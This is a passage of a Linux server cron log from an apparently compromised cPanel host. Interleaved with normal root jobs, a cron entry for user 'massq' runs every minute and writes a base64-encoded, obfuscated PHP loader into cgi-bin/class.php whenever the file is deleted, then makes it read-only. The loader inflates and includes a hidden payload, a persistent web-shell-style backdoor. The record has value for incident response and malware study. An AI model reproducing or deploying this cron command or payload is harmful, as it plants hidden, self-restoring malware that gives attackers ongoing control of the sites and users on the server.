FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:25:01 server CROND[15481]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:25:01 server CROND[15483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:25:01 server CROND[15482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:26:01 server CROND[15671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:27:01 server CROND[15715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:27:01 server CROND[15716]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 09:28:01 server CROND[15761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:29:01 server CROND[15813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:30:01 server CROND[15890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:30:01 server CROND[15893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:30:01 server CROND[15892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:30:01 server CROND[15894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:31:01 server CROND[16114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:32:01 server CROND[16167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:33:01 server CROND[16234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:34:01 server CROND[16294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:35:01 server CROND[16354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:35:01 server CROND[16360]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 09:35:01 server CROND[16361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:35:01 server CROND[16364]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 09:35:01 server CROND[16362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:36:01 server CROND[16571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:37:01 server CROND[16640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:38:01 server CROND[16695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJ